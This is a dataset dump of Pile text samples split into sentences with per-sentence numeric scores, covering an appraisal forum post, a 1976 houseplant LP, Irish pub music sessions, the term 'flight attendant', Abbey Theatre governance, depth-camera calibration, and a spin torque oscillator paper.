"i'm finally gonna see the how and what of appraising vacant land.\" ",
"as i carefully watched where i was steppin. ",
"was a tad muddy. ",
"my feet gittin bigger with each step.",
"\n\n\"no problem.\" ",
"he said, bein a man of few werds.",
"\n\nwe got down to the bottom of that tree covered hill framin that steep muddy dirt driveway......\n\nand stood there jes takin in the beauty of that 5 acre pennensila (aw heck, that point of land juttin out inta the lake).",
"\n\nhe walked around noting the marked sections of the land. ",
"me trailin and watchin.",
"\n\nthen we walked over to an area that seemed to be some of what else we'd come out here to appraise.",
"\n\ni stood there.....lookin down.....\n\n\"a hole?\" ",
"i asked.",
"\n\"yes. ",
"they're beginning to build.\"",
"\n\"but, a hole?\" ",
"i said again.",
"\nhe looked at me, and i knew there was a florescent sign on my forehead flashin..\"newbie newbie newbie\" cuz i'm familiar with That look.",
"\n\nyep, wendy........ am lookin forwerd to watchin these changes ensue.",
"\nhave so often driven by a lovely site and kinda wondered, 'what the heck are they buildin in there?!'",
"\nnow, i git to see. ",
"and, am lovin it!",
"\n\nthe enthusiasm? ",
"wal now..... doubt that'll happen. ",
"this has been a decision in the makin for a number of years. ",
"am jes a lil off on my timin. '",
"sides, ain't ne'r been one to give up on a dream.",
"\n\nbutja got me thunkin on it some. ",
"so next times i'm in some complete stranger's house and scopin out the lay of the land (so to speak).... will take that thar disto thang 'been hearin so much 'bout into that small cramped dark far corner......and jes mebe gitcha a story 'bout it.",
"\n\nBecome a Supporting Member!",
"\n\nAppraisersForum.com has been operating since 2000 and has become the premiere online community for real estate appraisal discussions.",
"\n\nIf you appreciate this resource please consider becoming a supporting member. ",
"Click on the Account Upgrades link in your control panel for more info. ",
"Your profile and your posts will display a \"supporting member\" banner under your name and avatar."
] | {
"pile_set_name": "Pile-CC"
} | [
0.010109093971550465,
0.09234236180782318,
0.0011366799008101225,
0.0006020530709065497,
0.0006409299676306546,
0.0006913437973707914,
0.002238356741145253,
0.002138765761628747,
0.000725437595974654,
0.0746246948838234,
0.022382840514183044,
0.0005790440482087433,
0.002614624099805951,
0.0005868092994205654,
0.004370340146124363,
0.0014307302189990878,
0.0007737232372164726,
0.0009095797431655228,
0.0020002496894448996,
0.001209728536196053,
0.0013363525504246354,
0.0039489311166107655,
0.014649420976638794,
0.0008828005520626903,
0.0013452958082780242,
0.0006866970798000693,
0.0016108566196635365,
0.000658522651065141,
0.010922929272055626,
0.010106503032147884,
0.0038098834920674562,
0.0559697188436985,
0.0017136738169938326,
0.000585635716561228,
0.0005127456970512867,
0.0006255400949157774,
0.000608049042057246
] | 0.008975 | 37 |
[
"MP3 :\n\n1. ",
"Plant Talk (13:09)\n\n2. ",
"Sound Advice (20:44)\n\nI guess I'll never understand what a naked lady has to do with \"Plant Talk\", perhaps nakedness is the first necessary step in plant communication, an allusion to Eve in the Garden of Eden maybe? ",
"Listen now as Molly Roth speaks lovingly to your plants, and calls them by name, whether or not you even have a \"Spider Plant\", \"Brain Cactus\", or \"Dracaena Godsefffiana\" in the room. (",
"Molly Roth is not the topless girl on the cover.)",
"\n\nMy other question involves the giant jukebox...\n\n- Contributed by: B.C. Sterrett (The Lost Media Archive)\n\nImage: Cover\n\nMedia: LP\n\nAlbum: Plant Talk/Sound Advice\n\nLabel: Plant Talk Productions\n\nCredits: Molly Roth (Voice) & Jim Bricker (Production). ",
"Side 1 Plant Talk (English Ivy, Fern, Spider Plant, Schefflera, Philodendron, Palm, Baby Tears, Sun Loving Plants, Brain Cactus, Jade, Croton, Peperomia, Iron Cross Begonia, Dracaena Godseffiana, Nepthytis, Rubber Plant, False Aralia, Ficus Benjamina, Norfolk Island Pine, Wandering Jew, Gardenia, Sansevieria, Piggy Back, African Violet, Coleus, Keep It Green). ",
"Side 2 Sound Advice on the care & feeding of houseplants\n\nDate: 1976"
] | {
"pile_set_name": "OpenWebText2"
} | [
0.000886657799128443,
0.0006043539033271372,
0.001049898681230843,
0.0006516040884889662,
0.01038101315498352,
0.0007512157899327576,
0.0009986178483814,
0.0008022934198379517
] | 0.002016 | 8 |
[
"A classically trained cellist, Rankin performs on a carbon fiber cello in pubs because beer spills pose a risk to her wooden instrument. ",
"She became hooked on Irish fiddle music through the work of Martin Hayes, an Irish virtuoso steeped in the sweetly lithe tradition of East Clare fiddle playing. “",
"He was my gateway drug,” she said.",
"\n\nHayes is a member of the Gloaming, a supergroup that unites some of the biggest names in Irish music and plays to capacity crowds in concert halls around the world. ",
"But, as Hayes said in a phone interview, concerts cannot replace sessions.",
"\n\n“If they weren’t here, the world of Irish music would be very disconnected,” he said. “",
"It’s one thing to go and see a concert, but it is very instructive to have a continuous investigation with the music on a weekly basis.”",
"\n\nWhen in New York, he sometimes joins in the session at the Dead Rabbit near Wall Street on Sundays, or plays alongside DeMarco at 11th St. Bar. ",
"Yes, he says, background noise and chatter can mean that some of the nuances of the music are lost in a pub. ",
"But, he added, “musicians also like the fact that it’s not a gig and they don’t have to deliver. ",
"And one of the key elements in the creation of any music is the ability to be relaxed.”",
"\n\nAt first glance, a session looks laid-back, spontaneous and open. ",
"Yet there are hierarchies underpinning both the citywide scene and each individual session. ",
"Some are bloated with beginners, compromising musical standards. ",
"And establishing your own session is a process.",
"\n\nDaniel T. Neely, a banjo player and ethnomusicologist (his expertise: Jamaican mento music), who said he was “press-ganged” by Moloney into playing in an Irish group, has published a set of rules for newcomers regarding egos and etiquette. ",
"No. ",
"8: “There is a good chance that an eyebrow raised in your direction is consequential.”"
] | {
"pile_set_name": "OpenWebText2"
} | [
0.0007693108636885881,
0.0006914686528034508,
0.010552864521741867,
0.0011212293757125735,
0.0006080938619561493,
0.0006708637229166925,
0.0005414537154138088,
0.0006767771556042135,
0.0008093513315543532,
0.0008954978547990322,
0.0005764939123764634,
0.0005957522080279887,
0.0006478250725194812,
0.0007523685344494879,
0.0008714906871318817,
0.0007137422217056155,
0.0013785817427560687,
0.0005630508530884981
] | 0.001302 | 18 |
[
"Q:\n\nDoes 'flight attendant' refer to men, woman or both?",
"\n\nIn English there are some words which just refer to men, like Sir, or just refer to women, like Madam.",
"\nDoes flight attendant refer to women, men or both?",
"\n\nA:\n\nIt refers to both. ",
"Steward and stewardess are gendered and were historically more commonly used, especially in the period when the job was much more strongly associated with one sex or the other (at first a strictly male-only job, then later a strongly female-dominated job, before returning some way toward being more balanced). ",
"These days flight attendant, cabin attendant and cabin crew are preferred precisely because they aren't gendered terms.",
"\n\n"
] | {
"pile_set_name": "StackExchange"
} | [
0.0006991286645643413,
0.004290939308702946,
0.0009447886841371655,
0.0006551216938532889,
0.0006897052517160773,
0.0005700496840290725,
0.001995444530621171
] | 0.001406 | 7 |
[
"The relationships between the Abbey Theatre, the Government and the Arts Council show plenty that’s wrong with arts governance in Ireland\n\nWomen from all areas of theatre attend the ‘Waking The Feminists’ event at the Abbey Theatre. ",
"It follows criticism of the Abbey's 'Waking The Nation’ programme and the #WakingTheFeminists social media campaign. ",
"Video: Bryan O'Brien / Paula Geraghty\n\nThursday’s Waking The Feminists event at the Abbey Theatre, which highlighted the lack of gender equality in the Abbey’s programme of events for 2016. ",
"Photograph: Brenda Fitzsimons\n\nThursday’s thrilling #WakingTheFeminists meeting at the Abbey Theatre may be a turning point in the fight for gender equality in the arts. ",
"But something else in the affair of Waking the Nation, the Abbey’s male-dominated 2016 centenary programme, is all too familiar: bad governance.",
"\n\nIf we ask how we got to the point where the National Theatre didn’t notice that its “nation” was made up almost entirely of people with penises, we must of course look at the deep roots of male privilege and female marginalisation. ",
"But we also have to look at rather more boring and mundane things: sloppy governance in the arts. ",
"Three huge questions have to be answered about three sets of relationships: the internal governance of the Abbey; the relationship between the Abbey and the Government; and the relationship between the Abbey and the Arts Council.",
"\n\n1 Where is the Abbey board?",
"\n\nOn Thursday’s Six One News, on RTÉ, after the rally in the Abbey, Bryan Dobson interviewed in studio the fine playwright Deirdre Kinahan. ",
"She spoke with great eloquence about her position as a woman writer whose work has been acclaimed in London, New York and elsewhere but who has had to struggle to have her voice heard in the Irish theatre. ",
"It was a huge tribute to the brilliance of the #WakingTheFeminists campaign that Kinahan was now being heard on the main news programme.",
"\n\nBut there was also something slightly weird about the interview. ",
"Bryan Dobson did not ask Kinahan whether she had raised all of these issues in the Abbey’s own boardroom. ",
"Kinahan is a member of the Abbey board, which has a number of highly respected, strong-minded women on it: Kinahan, Jane Brennan, Loretta Dignam, Niamh Lunny and Sheelagh O’Neill. ",
"I am not suggesting gender equality should be of concern only to the women members of the board, but it would be astonishing if these women were not particularly uneasy about a programme explicitly about the “nation” that so steadfastly excluded women.",
"\n\nSo what happened? ",
"Did the board have oversight of the Waking the Nation programme or did it not? ",
"And if not, why not? ",
"No one would argue that the Abbey should return to the days when boards interfered with the artistic director’s choices about what to stage. ",
"But the role of a board is to set down broad policy guidelines, and gender equality is the kind of issue that any public board should have a policy on. ",
"That a board member such as Kinahan has to go on the news to complain about her own theatre suggests that something is deeply amiss in the corporate governance of the institution.",
"\n\n2 Why did Minister for Arts Heather Humphreys and her officials give the Abbey €500,000 for Waking the Nation without noticing that the programme had a fundamental problem?",
"\n\nIn Friday’s Irish Times Laurence Mackin revealed that the Abbey applied to the Arts Council for funding for its Waking the Nation, after a call in May for centenary-project submissions. ",
"This competition was judged by a panel of distinguished international and Irish experts. ",
"They chose not to fund the Abbey’s proposal. ",
"This is good governance: open, transparent, independent decision-making about the use of public money.",
"\n\nBut what happened next is an example of all that’s wrong with governance in Ireland. ",
"Fiach Mac Conghail asked the Department of Arts, Heritage and the Gaeltacht directly for €500,000 to support what he and the Abbey now acknowledge to be a deeply flawed project. ",
"And they got the money. ",
"How? ",
"On the basis, apparently, of a few good chats: “verbal discussions between the director and senior officials over a period of months” is how the department put it. ",
"Astonishingly, the department admits that at no point did it seek to discover what the money would actually fund. ",
"The discussions were about the scale of the project, not its content. ",
"This is an appalling way to use public money and should be investigated by the Comptroller and Auditor General.",
"\n\n3 Did anyone ever ask the Abbey for its gender policy?",
"\n\nThe Abbey is far and away the best-funded arts organisation in Ireland, the flagship for all the rest. ",
"One might have thought that at some stage its primary funder, the Arts Council, might have asked to see its policy on gender equality, or even on equality in general, as an employer and as an expression of national values. ",
"But apparently it didn’t.",
"\n\nIn its properly contrite statement on Thursday the Abbey board promised to “work with the director and new incoming directors to develop a comprehensive policy and detailed plan to help address gender equality”. ",
"That it doesn’t have a “detailed plan” for gender equality is obvious, but the statement also implicitly admits that it doesn’t even have a broad statement of policy. ",
"Again, this is bad governance on the Abbey’s part, but it is also unacceptable that the Arts Council has never, in all its reviews of the Abbey, got around to asking it to put on paper its recognition of its duty to uphold equality."
] | {
"pile_set_name": "Pile-CC"
} | [
0.0007110785227268934,
0.0008065043366514146,
0.000882512133102864,
0.0007170714088715613,
0.0007522781379520893,
0.12143877893686295,
0.0009995978325605392,
0.0006170206470414996,
0.0007498125196434557,
0.000648518733214587,
0.0006499924347735941,
0.000662804173771292,
0.00058635143795982,
0.0006662748055532575,
0.0007330941152758896,
0.00806319247931242,
0.0007346110069192946,
0.0007488745613954961,
0.0007972445455379784,
0.0007321861339733005,
0.0011340976925566792,
0.0006229360587894917,
0.0006710040615871549,
0.0005887117586098611,
0.0005738184554502368,
0.0007268721819855273,
0.0005469245952554047,
0.0006604012451134622,
0.0007086810073815286,
0.0024997733999043703,
0.0009612972498871386,
0.0005456135259009898,
0.0006132009439170361,
0.00060371367726475,
0.0018990131793543696,
0.001046577701345086,
0.0006809270125813782,
0.000575755606405437,
0.0007886419189162552,
0.0007051676511764526,
0.0007718604756519198,
0.0006359462859109044
] | 0.003839 | 42 |
[
"Stereo depth cameras are well-known and are often used to measure a distance from an object. ",
"One such measurement device includes a projector and a camera. ",
"In such a device, the projector projects a known pattern image on an object (e.g., a scene), and am image of the object upon which the image is projected is captured by the camera. ",
"From the captured images, depth information may be determined. ",
"One technique for determining depth in such devices is through the use of triangulation. ",
"Thus, images of objects are captured and measurements are taken to determine depth information.",
"\nThere is need to calibrate the intrinsic and extrinsic geometric parameters of an active coded light passive triangulation system including the infrared (IR) projector, the IR camera, and the red, green, and blue (RGB) camera. ",
"Typically, the process is performed on a per-unit basis during the assembly. ",
"Such calibration is usually handled using a “multi-view” approach that includes presenting to the camera a planar target with detectable features, such as a checkerboard, and capturing data at a set of unknown orientations. ",
"This approach has several major disadvantages. ",
"First, the need to automatically capture several views of the target increases the acquisition time and requires complicated mechanics. ",
"Second, the feature detection quality may be greatly compromised by the low modulation transfer function (MTF) of the IR camera, affecting the quality of the entire process. ",
"For example, the IR camera may not be able to accurately detect the landmark points in the target object."
] | {
"pile_set_name": "USPTO Backgrounds"
} | [
0.0006050454685464501,
0.0006086885114200413,
0.0006961062899790704,
0.000530702993273735,
0.0006144555518403649,
0.0006060916348360479,
0.0006044644978828728,
0.0005605181213468313,
0.0006056437850929797,
0.0006922473548911512,
0.0006055970443412662,
0.0005505628068931401,
0.0006407619803212583
] | 0.000609 | 13 |
[
"---\nabstract: 'Stochastic dynamics of spin torque oscillators (STOs) can be described in terms of magnetization drift and diffusion over a current-dependent effective energy surface given by the Fokker-Planck equation. ",
"Here we present a method that directly probes this effective energy surface via time-resolved measurements of the microwave voltage generated by a STO. ",
"We show that the effective energy approach provides a simple recipe for predicting spectral line widths and line shapes near the generation threshold. ",
"Our time domain technique also accurately measures the field-like component of spin torque in a wide range of the voltage bias values.'",
"\nauthor:\n- 'Graham E. Rowlands'\n- 'Jordan A. Katine'\n- Juergen Langer\n- Jian Zhu\n- 'Ilya N. Krivorotov'\ntitle: Time Domain Mapping of Spin Torque Oscillator Effective Energy\n---\n\nSpin torque (ST) from a direct spin-polarized current [@Slonczewski1996; @Berger1996; @Katine2000; @Ralph2008] can excite magnetization auto-oscillations in the free layers of nanoscale spin valves and magnetic tunnel junctions [@Kiselev2003; @Rippard2004; @Nazarov2006; @Houssameddine2008; @Georges2009; @Demidov2010] and thereby generate microwave power [@Deac2008; @Zeng2012] at a frequency tunable by the current [@Kim2008; @Kim2008a; @Slavin2009a; @Silva2010]. ",
"Such spin torque oscillator (STO) devices show potential for applications as tunable nanoscale microwave sources and magnetic field sensors for computer hard drives [@Braganca2010]. ",
"Due to the STOs’ nanoscale dimensions, their auto-oscillatory magnetization dynamics are strongly affected by thermal fluctuations [@Sankey2005; @Muduli2012], and quantitative understanding of these stochastic dynamics is crucial for the development of devices with desired properties such as narrow generation line width and high frequency agility.",
"\n\nIn this Letter, we demonstrate a method of using time-domain measurements of an STO’s voltage oscillations [@Krivorotov2005; @Nagasawa2011] for quantitative description of the underlying stochastic dynamics. ",
"In contrast to frequency domain techniques that probe the dynamics indirectly via measurements of the STO spectral properties, our method offers a direct look at time evolution of the magnetization vector. ",
"We measure the statistical ensembles of the angles at which the magnetization trajectories cross the sample plane, and compare them to predictions made by theories of stochastic magnetization dynamics. ",
"Our work demonstrates that the ST-dependent effective energy Fokker-Planck formalism [@Apalkov2005a; @Bertotti2008] gives an accurate description of the observed ensembles. ",
"Based on this effective energy approach, we develop a simple recipe for predicting spectral line widths and line shapes near the generation threshold. ",
"This technique also allows us to accurately measure the field-like component of ST (FLT) over a wide range of voltage biases.",
"\n\n (a) Schematic of the MTJ nanopillar with the layer thicknesses given in nm. (",
"b) Measured bias dependence of the MTJ conductance in the parallel ($G_\\text{P}$) and antiparallel ($G_\\text{AP}$) states. ",
"Also shown are the average conductance $G_0$ and the inverse time-averaged resistance $\\langle R \\rangle^{-1}$ for the indicated external in-plane field. (",
"c) Examples of trajectories followed by the free layer magnetization on the sphere, and the distributions of the sample plane crossing angles at a non-zero temperature. ",
"We use spherical coordinates $\\theta$ and ${\\ensuremath{\\varphi}}$, where $\\theta$ is the polar angle defined with respect to the sample plane normal $\\hat{z}$ and ${\\ensuremath{\\varphi}}$ is the azimuthal angle defined with respect to the P state direction $\\hat{x}$. (d) A time-domain resistance trace, $R(t)$, which maxima and minima are used to reconstruct the sample plane crossing distributions.](Fig1){width=\"\\linewidth\"}\n\nWhile the methods discussed here are expected to be general, we focus our present study on STOs based on magnetic tunnel junctions (MTJ) patterned into 150$\\times$70 nm$^2$ elliptical nanopillars from a Ta(5)/ PtMn(15)/Co$_{70}$Fe$_{30}$(2.3)/Ru(0.85)/Co$_{40}$Fe$_{40}$B$_{20}$(2.4)/ MgO(0.85)/Co$_{20}$Fe$_{60}$B$_{20}$(1.7)/Ta(5) multilayer (thicknesses in nm). ",
"Prior to patterning, the multilayer is annealed for 2 hours at 300$^\\circ$C in a 1 Tesla in-plane magnetic field that sets the pinned layer exchange bias direction parallel to the long axis of the nanopillar. ",
"The free layer in these structures, pictured in Fig. ",
"\\[fig:stuff\\](a), posseses a large perpendicular magnetic anisotropy (PMA) energy $E_\\perp = K_1 \\sin^2 \\theta + K_2 \\sin^4 \\theta$ that reduces both the critical current $I_c$ and the frequency of the STO auto-oscillations [@Ikeda2010; @Zeng2012]. ",
"Additionally, the free layer exhibits voltage controlled magnetic anisotropy (VCMA) [@Maruyama2009; @Zhu2012]. ",
"The corresponding anisotropy field is $H_{\\perp z} = \\left[ H_{p0}+\\Delta H_{p0}V + H_{p1}\\sin^2 \\theta \\right] \\cos \\theta$, where $H_{p0}$ is the first order anisotropy field and $\\Delta H_{p0}$ is the coefficient of the VCMA field linear in voltage bias. ",
"We include $H_{p1}$, the second order anisotropy field, since it becomes important due to partial cancellation of the out-of-plane shape anisotropy and the first order PMA [@Stamps1997]. ",
"The combined effect of PMA and VCMA is, nevertheless, insufficient to overcome the easy-plane magnetic shape anisotropy and the easy axis of the free layer magnetization remains in the sample plane.",
"\n\nIn order to extract information on the free layer magnetization trajectories from the STO voltage signal, we find the time-varying total resistance across the MTJ, $R(t)$, which is written as the sum of time-averaged $\\langle R \\rangle$ and time-dependent $\\Delta R(t)$ components. ",
"These components are read out, respectively, by a DC voltmeter and a 12 GHz bandwidth 40 GS/s oscilloscope connected to the appropriate ports of a bias-T [@supplement]. ",
"To ensure that the RF signal far exceeds the noise floor of the oscilloscope (5.2 mV$_\\text{rms}$), it is amplified by a 35 dB amplifier with a low noise figure of 1.3 dB . ",
"We assume that the angular dependence of the conductance across the MTJ is [@Slonczewski2005] $$\\label{eqn:conductance} \nG=G_0(V) +\\frac{1}{2}\\Delta G(V) {\\ensuremath{\\mathbf{m}}}\\cdot {\\ensuremath{\\mathbf{p}}},$$ where $G_0(V)=(G_\\text{AP}(V)+G_\\text{P}(V))/2$ is the average conductance and $\\Delta G(V)=G_\\text{P}(V)-G_\\text{AP}(V)$ is the full scale conductance change. ",
"Here $G_\\text{AP}(V)$ and $G_\\text{P}(V)$ are, respectively, voltage-dependent conductances in the antiparallel and parallel states of the MTJ, while ${\\ensuremath{\\mathbf{m}}}$ and ${\\ensuremath{\\mathbf{p}}}$ are, respectively, unit vectors in the direction of the fixed and free layers’ average magnetizations. ",
"We obtain $G_0(V)$ and $\\Delta G(V)$, which are plotted in Fig. ",
"\\[fig:stuff\\](b), by extracting resistance extrema from hysteresis loops of resistance versus magnetic field taken in the vicinity of the easy-axis as described in the supplemental material [@supplement]. ",
"The time-dependent component of the resistance is $$\\label{eqn:oscRes}\n\\Delta R(t) = \\frac{V(t)}{I} \\frac{50\\Omega + R_\\text{ex} + \\langle R \\rangle}{50 \\Omega},$$ where $I$ is the DC current applied across the device, $R_\\text{ex}$ is extrinsic resistance contribution from contacts and sample leads, and $V(t)$ is the voltage signal measured at the $50\\Omega$ oscilloscope with the microwave circuit amplification and attenuation factored out.",
"\n\nSince the MTJ resistance depends only on the projection of ${\\ensuremath{\\mathbf{m}}}$ onto the polarization vector ${\\ensuremath{\\mathbf{p}}}$, we cannot reconstruct three-dimensional magnetization trajectories (orbits) from the electrical signals. ",
"The orbits are, however, symmetric about the sample plane, as seen in Fig. ",
"\\[fig:stuff\\](c). ",
"Therefore, those points at which ${\\ensuremath{\\mathbf{m}}}$ crosses the equator correspond to extrema in $V(t)$ (and hence $\\Delta R(t)$) as pictured in Fig. ",
"\\[fig:stuff\\](d). ",
"Since the polar angle $\\theta = \\pi/2$ is known at these crossings, one may determine by means of Eqs. (",
"\\[eqn:conductance\\]) and (\\[eqn:oscRes\\]) the azimuthal crossing angles $$\\label{eqn:mapping}\n{\\ensuremath{\\varphi}}_i = \\cos^{-1} \\left[ \\frac{2}{\\Delta G(V_i)} \\left( \\frac{1}{R_i} - G_0(V_i) \\right) \\right]$$ Here $R_i$ are the extremal resistance values and $V_i = I R_i$ are the corresponding voltages across the sample. ",
"These plane crossing angles are histogrammed separately for crossings at maxima and minima, and are plotted in Fig. ",
"\\[fig:dists\\] for several values of $I$.\n\n Plane-crossing probability distributions $\\rho_\\text{c}({\\ensuremath{\\varphi}})$ measured at several values of the bias current for $H=500$ Oe applied at ${\\ensuremath{\\varphi}}_H = 120^\\circ$. Also shown are distributions calculated from macrospin and micromagnetic simulations as well as by the Fokker-Planck approach described in the text. ",
"The macrospin distributions have been shifted towards ${\\ensuremath{\\varphi}}= 0$ by $0.03\\pi$ as a visual aid. ",
"This shift is an artifact of the macrospin approximation [@supplement]. ",
"The inset shows the magnitude of the FLT extracted (using both macrospin fitting and the Stoner-Wohlfarth model described in the text) from the current-induced shifts of the equilibrium angles.](Fig2){width=\"\\linewidth\"}\n\nThese distributions give new insights into the STO dynamics. ",
"As $I$ is raised, the separation between distributions of maxima and minima increase as the ST increases the amplitude of magnetization precession. ",
"The individual distributions broaden and become asymmetric due to changes in the ST-dependent effective magnetic energy. ",
"The crossing point of the left and right distributions (corresponding to the energy minimum at in-plane angle ${\\ensuremath{\\varphi}}_0$) is observed to shift towards the AP state with increasing current. ",
"This effect arises exclusively from the FLT, as there are no other voltage dependent fields acting in the plane of the sample.",
"\n\nIn order to validate the results of our mapping procedure, we confirm that the ${\\ensuremath{\\varphi}}$ distributions are reproduced by spin torque theory [@Slonczewski1996; @Berger1996]. ",
"The simplest means of generating the expected angular distributions is rote integration of the stochastic Landau-Lifshitz (LL) equation in the macrospin approximation. ",
"We make use of a graphics processing unit (GPU) to carry out these calculations for various realizations of the thermal field. ",
"The speedup afforded by this method (a factor of at least $10^2$ compared to simulations performed with CPU) allows us to fit the macrospin results directly to the experimental distributions [@supplement]. ",
"The strengths of the in-plane ST (which pulls ${\\ensuremath{\\mathbf{m}}}$ in the direction ${\\ensuremath{\\mathbf{m}}}\\times ({\\ensuremath{\\mathbf{p}}}\\times {\\ensuremath{\\mathbf{m}}})$), FLT (an effective field along $-{\\ensuremath{\\mathbf{p}}}$), and $H_\\text{p0} $ are taken to be fitting parameters. ",
"We include $H_\\text{p0}$ as a global fitting parameter since it exhibits a significant sample-to-sample variation presumably arising from free layer inhomogeneities. ",
"The demagnetization tensor $N$ is assumed to be that of an elliptical disk [@Zhu2012; @Beleggia2005a]. ",
"All additional input parameters, including the Gilbert damping parameter $\\alpha$ and the magnitude of the VCMA field, $\\Delta H_{p0}$, are taken from independent measurements [@Zhu2012].",
"\n\nThe probability distributions of the plane crossing angles and the generated microwave signal power spectra obtained from these simulations are shown in Figs. ",
"\\[fig:dists\\] and \\[fig:spectra\\](a). ",
"The simulations corroborate our assumption that the current-dependent shift of the distributions is uniquely determined by the FLT, and we are thus able to robustly extract its bias dependence as seen in the inset of Fig. ",
"\\[fig:dists\\]. ",
"In lieu of the fitting method mentioned above, we may calculate the FLT directly from the experimental data in Fig. ",
"\\[fig:dists\\] by using a simple Stoner-Wohlfarth (SW) model [@supplement]. ",
"The FLT is thereby $$\\begin{aligned}\n\\label{eqn:SW}\nH_\\text{flt} &=& -H_x + H_y \\cot ({\\ensuremath{\\varphi}}_0 + \\delta {\\ensuremath{\\varphi}}) \\nonumber \\\\\n&& + 4 \\pi M_s (N_\\text{xx} -N_\\text{yy}) \\cos ({\\ensuremath{\\varphi}}_0 + \\delta {\\ensuremath{\\varphi}}),\\end{aligned}$$ where $H_x$ and $H_y$ are the in-plane components of the external field (including the dipolar contribution), $N_\\text{xx}$ and $N_\\text{yy}$ are the in-plane components of the demagnetization tensor, ${\\ensuremath{\\varphi}}_0$ is the equilibrium angle in the absence of FLT, and $\\delta {\\ensuremath{\\varphi}}$ is the deviation caused explicitly by FLT. ",
"Thus, by recording the deflections of the crossing distributions (at their intersection points), we find that, as shown in the inset of Fig. ",
"\\[fig:dists\\], the FLT exhibits an approximately quadratic bias dependence of similar strength to that reported in Ref. [",
"@Wang2011]. ",
"In contrast to ST ferromagnetic resonance methods [@Tulapurkar2005; @Sankey2006], for which careful subtraction of background signals is needed at non-zero current bias [@Wang2011], Eq. (",
"\\[eqn:SW\\]) provides a fast and simple way of measuring FLT strength in a wide range of voltage bias values.",
"\n\nWe perform micromagnetic simulations of the STO dynamics in order to confirm that the macrospin approximation adequately describes the system [@Donahue1999]. ",
"This is indeed the case: the free layer magnetization remains in a macrospin-like state for the studied range of $I$ [@supplement]. ",
"We show in Figs. ",
"\\[fig:dists\\] and \\[fig:spectra\\](a) that the micromagnetic results produce power spectral densities (PSDs) and plane crossing angle distributions that are in good qualitative agreement with the macrospin simulations and experimental data. ",
"The computational demands of finite-temperature micromagnetic simulations preclude the use of a fitting procedure akin to that employed for macrospin simulations, thus we ran micromagnetic simulations with the parameters identified from the macrospin fits. ",
"The exception is the magnitude of the ST polarization efficiency $P$, which was increased to 0.70 from 0.60 in the macrospin case. ",
"This discrepancy may stem from both a decrease of the magnetoresistive signal arising from non-uniformities in the free layer magnetization and additional dissipation of the energy supplied by ST drive via micromagnetic degrees of freedom. ",
"Despite a small overall shift in the generation frequency ($\\approx$ 0.3 GHz), we find that the PSDs given by micromagnetic simulations are in good agreement with the macrospin simulations and the experiment except at the lowest bias currents studied. ",
"Local magnetization pinning at defects (discretization artifacts) or nonlinear damping [@Tiberkevich2007] may be partially responsible for the discrepancy.",
"\n\n (a) Measured PSDs delivered to a $50 \\Omega$ load along with macrospin and micromagnitic simulation results ($I$ in steps of 0.1mA). (",
"b) Effective energies $E_\\text{eff}({\\ensuremath{\\varphi}})$ and corresponding crossing probability distributions $\\rho_c({\\ensuremath{\\varphi}})$. (c) Frequencies (solid lines) and generated electrical powers (dotted lines) of the macrospin conservative orbits. (",
"d) Comparison of PSDs from macrospin simulations and the effective energy approach given by Eq.(\\[eqn:spectra\\]).](Fig3){width=\"\\linewidth\"}\n\nWhile providing a direct means of extracting ST parameters from the experiment, simulations of the stochastic LL equation give no insight into the mechanisms leading to the observed asymmetries of the crossing angle distributions and spectral line shapes. ",
"We turn to the magnetic Fokker-Planck equation [@Brown1963], which describes the deterministic drift and diffusion of the probability distribution of ${\\ensuremath{\\mathbf{m}}}$ on the unit sphere. ",
"Working in the energy coordinate of the system instead of angles $\\theta$ and $\\varphi$, one can derive [@Apalkov2005a; @Bertotti2008] a Boltzmann-form probability per unit area of the sphere, $\\rho'(E)$, that the system possesses a particular energy, $E$: $$\\label{eqn:probE}\n\\rho'(E,I) = \\frac{1}{Z} \\exp(- \\beta \\; \\mathcal{V} E_\\text{eff}(E,I) ).$$ Here $\\mathcal{V}$ is the free layer volume, $\\beta=1/k_\\text{B}T$, and $Z$ is the partition function [@supplement]. ",
"The ST-dependent effective energy $E_\\text{eff}(E,I)$ is constructed by integrating the non-conservative torques acting on the magnetization along the conservative orbit of energy $E$. This approach relies on the assumption that the magnetization mainly evolves along conservative orbits, though it is induced by non-conservative and thermal torques to spread among the orbits on a time scale much longer than that of the oscillation period.",
"\n\nFor comparison with our measurements, we are interested not in $\\rho'(E)$, but rather in the probability $\\rho_\\text{c}({\\ensuremath{\\varphi}})$ that ${\\ensuremath{\\mathbf{m}}}$ crosses through the plane of the sample at angle ${\\ensuremath{\\varphi}}$. This quantity is given by $$\\label{eqn:probCross}\n \\rho_\\text{c}({\\ensuremath{\\varphi}}) = \\frac{2 \\pi \\gamma M_s}{Z} \\frac{\\rho'(E({\\ensuremath{\\varphi}}),I)}{\\omega(E({\\ensuremath{\\varphi}}))} \\left| {\\ensuremath{\\frac{\\text{d} E({\\ensuremath{\\varphi}})}{\\text{d} {\\ensuremath{\\varphi}}}}} \\right|,$$ where $\\omega(E)$ is the angular frequency and $E({\\ensuremath{\\varphi}})$ is the in-plane cross-section of the conservative energy surface [@supplement]. ",
"The distributions $\\rho_\\text{c}({\\ensuremath{\\varphi}})$ and energy surfaces $E_\\text{eff}(E)$ from which they are derived are shown in Fig. ",
"\\[fig:spectra\\](b). ",
"The Fokker-Planck approach necessarily predicts zero probability at the minimum of $E(\\varphi)$ due to the vanishing density of states $ \\left| {\\ensuremath{\\text{d}}}E({\\ensuremath{\\varphi}}) / {\\ensuremath{\\text{d}}}{\\ensuremath{\\varphi}}\\right|$ appearing in Eq. (",
"\\[eqn:probCross\\]). ",
"The crossing distributions are also plotted in Fig. ",
"\\[fig:dists\\], wherein we see excellent agreement with the macrospin results over the entire range of currents. ",
"We note that Eq. (",
"\\[eqn:probE\\]) and Eq. (",
"\\[eqn:probCross\\]) can be easily inverted to reconstruct the effective energy surface $E_\\text{eff}(E,I)$ from the measured plane crossing probability distributions $\\rho_\\text{c}({\\ensuremath{\\varphi}})$.\n\nWe can now identify the cause of asymmetry and broadening of $\\rho_c({\\ensuremath{\\varphi}})$ observed at large values of $I$. While $E_\\text{eff}({\\ensuremath{\\varphi}})$ is approximately quadratic near the bottom of the well, it quickly crosses into a nearly linear regime with increasing $\\varphi$. The number of available orbits between $E$ and $E+{\\ensuremath{\\text{d}}}E$ becomes large in this region of $E_\\text{eff}({\\ensuremath{\\varphi}})$ and ${\\ensuremath{\\mathbf{m}}}$ spends proportionally more time on these large amplitude trajectories. ",
"This causes the tail of $ \\rho_\\text{c}({\\ensuremath{\\varphi}})$ to elongate. ",
"As the slope of this linear region decreases in response to increasing $I$, the distributions widen and distort commensurately.",
